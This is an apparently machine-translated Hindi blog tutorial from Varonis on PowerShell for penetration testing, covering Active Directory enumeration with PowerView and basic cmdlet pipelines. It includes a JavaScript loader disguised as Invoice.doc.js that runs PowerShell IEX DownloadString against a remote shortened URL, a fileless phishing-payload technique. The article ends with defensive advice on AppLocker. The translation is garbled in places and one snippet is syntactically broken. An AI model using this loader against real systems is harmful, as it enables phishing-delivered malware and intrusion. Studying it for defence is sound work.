पॉवरशेल एक पेंटेस्‍ट टूल के रूप में: वरोनिस स्‍क्रिप्‍ट और उदाहरण

हैकर पावरलेस को "फाल्सवेयर मैलवेयर" चलाने के लिए उपयोग करना पसंद करते हैं, इसमें मैलवेयर शामिल होता है जो संकलित दुर्भावनापूर्ण कोड के साथ पारंपरिक बाइनरी नहीं है, और इस कारण से कभी-कभी एंटीवायरस समाधानों द्वारा पता नहीं लगाया जा सकता है।

पॉवरशेल, निश्चित रूप से, हमेशा एक पूरी तरह से सामान्य उद्देश्य था, जिसका पहले तो पैठ परीक्षण से कोई लेना-देना नहीं था। आप में से जो लोग PowerShell की पृष्ठभूमि जानना चाहते हैं, उन्हें प्रसिद्ध मोनाड मेनिफेस्टो को पढ़ना चाहिए। मूल डेवलपर्स में से एक द्वारा लिखित, यह घोषणापत्र बताता है कि Microsoft को एक नई स्क्रिप्टिंग भाषा (दूसरे शब्दों, स्क्रिप्ट में) की आवश्यकता क्यों थी, जो अंततः पावरशेल में बदल गई।

आपको 17-पृष्ठ के एक लंबे दस्तावेज़ को देखने की परेशानी से बचाने के लिए, मैं आपको मुख्य प्रेरक कारक के बारे में बताता हूँ, जिसने PowerShell लेखकों को प्रेरित किया: यह सिस्टम प्रशासक को कमांड लाइन से .Net ऑब्जेक्ट्स तक पहुँच प्रदान करने वाला था, इस प्रकार सिस्टम स्तर पर वर्कफ़्लो के स्वचालन की अनुमति देता था। C # या C ++ में गहरे प्रोग्रामिंग स्तर पर।

यदि आप पावरशेल (इसके बाद पीएस के रूप में संदर्भित) की प्रभावशीलता के वास्तविक प्रमाण चाहते हैं, तो अपने सिस्टम प्रशासकों से पूछें कि वे उपयोगकर्ताओं को सक्रिय निर्देशिका में कैसे जोड़ते हैं या त्वरित सुरक्षा सेटिंग्स करते हैं। आप सबसे अधिक संभावना PowerShell समाधान के बारे में जानेंगे। संक्षेप में: पीएस दिनचर्या को कम करने और प्रशासकों के लिए उत्पादकता बढ़ाने का एक शानदार तरीका है।

पंचकोशों के लिए पॉवरशेल का उपयोग क्यों करें?

दुर्भाग्य से, प्रशासकों के लिए एक शक्तिशाली स्वचालन उपकरण के रूप में इतनी अच्छी तरह से अनुकूल क्या अंततः हैकर्स और पैठ परीक्षक दोनों के लिए उपयोगी है।

मान लीजिए कि एक आईटी व्यवस्थापक को यह पता लगाने का काम सौंपा गया था कि वास्तव में एक अंडरलोड सर्वर का उपयोग कौन करता है। PowerShell और उन्नत कार्यों के PowerView पुस्तकालय का उपयोग करना, सिस्टम व्यवस्थापक उन उपयोगकर्ताओं को जल्दी से देख सकता है जो इस सर्वर पर लॉग ऑन किए बिना सर्वर पर लॉग ऑन हैं:



हालांकि, साइबर अपराधी जो पहले फ़िशिंग हमले के माध्यम से पहुँच प्राप्त करते थे, वही कर सकते हैं, जैसा कि वे सक्रिय निर्देशिका डोमेन (जबकि बाद में AD के रूप में संदर्भित) में समान सुविधाओं का उपयोग कर सकते हैं। और उनकी गतिविधियों का आवश्यक रूप से पता नहीं लगाया जाएगा: एक सूचना सुरक्षा विश्लेषक जो अनुप्रयोगों के उपयोग की निगरानी करता है, वह यह निष्कर्ष निकाल सकता है कि चूंकि यह केवल PowerShell है, इसलिए यह हानिरहित होना चाहिए ।

इस उदाहरण को और भी अधिक बढ़ाने के लिए, हैकर्स Get-NetUser कमांड का उपयोग करके व्यक्तिगत उपयोगकर्ताओं के बारे में सभी विस्तृत जानकारी प्राप्त कर सकते हैं, जो AD में सभी उपयोगकर्ता विशेषताओं को डंप करेगा:



दुर्भाग्य से, कंपनियां कभी-कभी AD विशेषताओं की उपेक्षा करती हैं जो वे सभी कर्मचारियों के लिए सार्वजनिक करती हैं - उदाहरण के लिए, घर या मोबाइल फोन, पता, आदि। PowerShell से पहले, AD से यह सभी डेटा एकत्र करना बहुत कठिन था, लेकिन ऐसा नहीं है!

इस जानकारी के साथ हमलावर क्या कर सकते हैं? वे आसानी से सोशल इंजीनियरिंग के तरीकों का लाभ उठा सकते हैं और इसके लिए हमला कर सकते हैं: शायद भेजकर
AD विशेषताओं से प्राप्त एक पर्याप्त व्यक्तिगत संदर्भ वाला एक ईमेल आपको "अपना पासवर्ड रीसेट करने" के लिए एक वैध समर्थन अनुरोध की तरह दिखता है।

वैसे, आप AD विशेषताओं के लिए ACL नियंत्रण भी लागू कर सकते हैं, इसलिए इस प्रकार के हमलों के जोखिम को कम करने के लिए एक (!) तरीका है। और यह उन सकारात्मक परिणामों में से एक है जो आप अपने स्वयं के पैठ परीक्षण अनुभव से प्राप्त कर सकते हैं।

पॉवरशेल पेंटेस्टर ट्यूटोरियल

PowerShell का उपयोग करके, हमलावर चुपचाप आंतरिक उपयोगकर्ता डेटा एकत्र कर सकते हैं और फिर अपने हमलों में इसका उपयोग कर सकते हैं। लेकिन ऐसा कोई कारण नहीं है कि आईटी या सूचना सुरक्षा कर्मी भी अपना परीक्षण शुरू करने और हैकर की मानसिकता और उद्देश्यों को समझने के लिए पॉवरशेल को पर्याप्त रूप से नहीं सीख सकते।

PowerShell के बारे में पहली अच्छी बात यह है कि सभी पुरानी स्क्रिप्ट्स और बैट फाइलें जो आपने cmd.exe कमांड लाइन से चलाई थीं, वे अभी भी PowerShell कंसोल में काम करती हैं। पहले से ही बुरा नहीं है, है ना?

अगला महत्वपूर्ण बिंदु यह है कि लिनक्स जैसे गोले के विपरीत, पॉवरशेल एक वस्तु के रूप में सब कुछ व्यवहार करता है। यहां तक ​​कि कमांड का आउटपुट (केवल सोचो) भी एक वस्तु है।

उदाहरण के लिए, Get-ChildItem कमांड (या cmdlet को एक अलग तरीके से दर्ज करें, क्योंकि कंसोल में PS दुनिया में कमांड कहलाता है), और आपको वर्तमान निर्देशिका में फ़ाइलों की एक सूची दिखाई देगी:

PowerShell एन्कोडिंग

मान लीजिए आप एक पीएस स्क्रिप्ट लिखना चाहते हैं जिसमें केवल 10 एमबी से बड़ी फाइलें प्रदर्शित की जाती हैं - उदाहरण के लिए, जल्दी से यह जांचने के लिए कि कौन सी फाइलें बहुत अधिक स्थान लेती हैं। यह कार्य, बोश शेल के स्ट्रिंग आउटपुट में हल करने के लिए बहुत अधिक कठिन होगा। हालाँकि, PowerShell में, किसी भी कमांड का आउटपुट अपने आप में एक विशेषता के साथ एक ऑब्जेक्ट है।

इसे देखने के लिए, Get -hildItem आउटपुट को गेट-मेंबर को पास करें , जो आपको PS cmdlet का गुण बताएगा:



तो, अब हमारे पास हमारे हित के दो गुणों के लिए पहचानकर्ता हैं: लंबाई "लंबाई" और नाम "नाम", जिसे हम प्रोग्रामेटिक रूप से संदर्भित कर सकते हैं। 5 मिनट - सामान्य उड़ान।

जब ऑब्जेक्ट कभी-कभी सरणियों या संग्रह में होते हैं तो अक्सर स्थिति से निपटने के लिए, हम सरणी पर पुनरावृति करने के लिए ForEach PS- ऑपरेटर का उपयोग करेंगे।

चीजों को और भी आसान बनाने के लिए, एक उपनाम या उपनाम "%" का अर्थ है "ForEach", और "$ _" वर्तमान वस्तु का प्रतिनिधित्व करता है।

PowerShell का उपयोग करके कमांड चलाना

आइए, हमारे नए ज्ञान के आधार पर GetChildItem कमांड से हमारे दो आउटपुट कॉलम प्राप्त करें। नीचे दिया गया उदाहरण गेट-चाइल्डइम के साथ एक पाइपलाइन है जो फॉरएच स्टेटमेंट को फीड करता है, जो केवल "लंबाई" और "नाम" विशेषताओं के मूल्यों को प्रदर्शित करता है:

get-childitem | % {write-host $_.length $_.name -separator "`t`t"} 

और यहाँ कमांड चलाने का परिणाम है:



हमारे भव्य उदाहरण को समाप्त करने के लिए, आइए, हमारी स्क्रिप्ट को केवल बड़ी फ़ाइलों को आउटपुट करने के लिए, कहते हैं, 10MB से अधिक। ऐसा करने के लिए, हम सुविधाजनक एलियास के साथ व्हेयर-ऑब्जेक्ट सेमीडलेट के रूप में ज्ञात एक फिल्टर का उपयोग करते हैं "?"। इसमें सभी सामान्य तुलना ऑपरेटर (-gt, -eq, -lt, आदि) हैं। हम इसे पाइपलाइन और हमारे बीच में डालते हैं। स्क्रिप्ट अब इस तरह दिखता है:

  get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"} 

एक अभ्यास के रूप में, अपने स्वयं के वातावरण में उपरोक्त पीएस निर्माण को चलाने का प्रयास करें।

ट्यूटोरियल: पॉवरशेल पेनेट्रेशन टेस्टिंग उदाहरण

पॉवरशेल के साथ इस छोटे से अनुभव के साथ, हम एक बहुत ही वास्तविक जीवन के उदाहरण के लिए तैयार हैं। पेन्टेस्ट में जाने का सबसे तेज़ तरीका पेलोड को छिपाने के लिए पॉवरशेल का उपयोग करना है। हमने यहां कैसे करना है, इसके बारे में लिखा था।

यह विचार एक मानक कार्यालय दस्तावेज़ में हमारे PowerShell कोड को प्रत्यय। Doc के साथ छिपाने के लिए है। वास्तव में, फ़ाइल में एक्सटेंशन .js होगा, और जब क्लिक किया जाता है, तो यह जावास्क्रिप्ट को चलाने के लिए एक विंडोज स्क्रिप्ट के लॉन्च को सक्रिय करता है, जो तब अंतर्निहित पॉवरशेल कोड लॉन्च करेगा।

थोड़ा भ्रमित, है ना? लेकिन असली हैकर्स अपने हमले को छिपाने और भ्रमित करने के लिए एक नहीं बल्कि कई स्तरों पर घोंसले के शिकार और आपत्ति का उपयोग करते हैं।

बूटलोडर और पेलोड तैयारी

यहाँ स्क्रिप्ट कैसी दिखती है:

 a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true); 

आप उपरोक्त कोड को एक टेक्स्ट फ़ाइल में पेस्ट करते हैं और इसे Invoice.doc.js जैसी किसी चीज़ का नाम देते हैं। उपर्युक्त जावास्क्रिप्ट एक लोडर की तरह काम करता है जो बिल्ट-इन पॉवरशेल नेटवेबकिएंट और इनवोक-एक्सप्रेशन cmdlets का उपयोग करता है, जो खुद "%" के साथ उपनाम हैं।

NetWebClient cmdlet से DownloadString विधि दूरस्थ रूप से वास्तविक पेलोड को निकालती है, जो अंततः हमारे लिए सभी गंदे काम करता है।

आप अपने खुद के परीक्षण कार्यक्रम की ओर इशारा करते हुए अपना खुद का URL सम्मिलित कर सकते हैं। खैर, इनवोक-एक्सप्रेशन cmdlet हमारी दुर्भावनापूर्ण फ़ाइल के कोड को स्वीकार करता है और फिर इसे निष्पादित करता है।

इसे देखें!

मेरे मामले में, URL एक गीथब प्रोजेक्ट की ओर इशारा करता है जिसमें एक साधारण PS राइट-होस्ट कमांड है जो मानवता के सभी के लिए एक हानिरहित लेकिन महत्वपूर्ण संदेश प्रदर्शित करेगा। एक वास्तविक हमले में, इस तरह के परिदृश्य की एक फाइल फ़िशिंग मेलिंग सूची से अच्छी तरह से जुड़ी हो सकती है, जो एक असंगत कर्मचारी को जिज्ञासा के जाल में फंसा देगी। और पेलोड बहुत अधिक विनाशकारी होगा।



आप इसे अपने इंस्टालेशन पर आजमा सकते हैं। और यदि उपरोक्त सभी सफलतापूर्वक काम करते हैं, तो आपके पास एक और आवश्यक और महत्वपूर्ण कार्य है, जिसे बिना असफल होना चाहिए।

पेनेट्रेशन परीक्षण के लाभ

यह हमें उन कारणों की ओर ले जाता है जिनके कारण हम पैठ परीक्षण करते हैं। यहाँ तीन वास्तविक लाभ हैं जो पहले दिमाग में आते हैं:

1. पावरशेल टीमों को एक पेंटर के रूप में खोजकर, आप समझेंगे कि हैकर्स इस अद्भुत अगली पीढ़ी की स्क्रिप्टिंग भाषा को कैसे "दरार" करते हैं। बस डाउनलोडस्ट्रीमिंग और इनवोक-एक्सप्रेशन विधियों के संयोजन पर विचार करें, हमलावरों को पीड़ित की साइट के बीच में इसे बचाने के लिए आवश्यकता के बिना दूरस्थ दुर्भावनापूर्ण कोड निकालने की अनुमति देता है।
2. यह अभ्यास एक आधुनिक हैकर की गोपनीयता पर भी जोर देता है। मैंने उपर्युक्त उदाहरण में एक हमले की योजना दिखाई, जो आसपास कोई भी फाइल नहीं छोड़ती है। इस प्रकार, आप PowerShell का उपयोग करके किसी हमले का मज़बूती से पता लगाने के लिए मानक हस्ताक्षर-आधारित विधियों का उपयोग नहीं कर सकते हैं। ट्राइट, हमारे पास तुलना के लिए स्वयं मैलवेयर के हस्ताक्षर नहीं हैं।
3. आपको PowerShell और अन्य स्क्रिप्ट-आधारित विधियों को प्रतिबंधित करने के तरीके खोजना शुरू करने की संभावना है। अंत में, हमला एक स्क्रिप्ट से शुरू होता है, इसलिए यदि कंपनियां स्क्रिप्ट चलाना मुश्किल बनाती हैं, तो वे अपनी जोखिम प्रोफ़ाइल को काफी कम कर सकते हैं।

मुझे अंतिम बिंदु पर विस्तार से बताएं। आप सबसे अधिक संभावना पावरस्ले (या जावास्क्रिप्ट) पर पूरी तरह से प्रतिबंध नहीं लगाना चाहेंगे, क्योंकि यह विंडोज सिस्टम सॉफ्टवेयर का एक मूलभूत हिस्सा है। सौभाग्य से, Microsoft के पास आधुनिक समूह नीतियों (GPOs) में पुराने सॉफ़्टवेयर प्रतिबंध नीतियों के एक उन्नत संस्करण AppLocker के माध्यम से चुनिंदा स्क्रिप्ट (और अन्य निष्पादन योग्य) को अक्षम करने का एक तरीका है।

यह तकनीशियनों के लिए अविश्वसनीय लग सकता है, लेकिन अधिकांश सामान्य उपयोगकर्ताओं को अपने दैनिक कार्य करने के लिए पॉवरशेल या अन्य स्क्रिप्टिंग भाषाओं की आवश्यकता नहीं है। यह, ज़ाहिर है, चौंकाने वाला है, मुझे पता है! AppLocker, उदाहरण के लिए, सिस्टम के व्यवस्थापकों को अभी भी उनकी कड़ी मेहनत करने की अनुमति देते हुए, उन्हें जनता के लिए PowerShell पहुंच को अक्षम करने के लिए कॉन्फ़िगर किया जा सकता है।

ईमेल अटैचमेंट से जुड़े लोगों सहित स्क्रिप्ट आधारित हमले, अत्यधिक विस्तृत स्क्रिप्ट अनुमतियों के साथ कर्मचारियों को प्रदान करने के लिए प्रशासकों पर भरोसा करते हैं। और ऐसा नहीं होना चाहिए!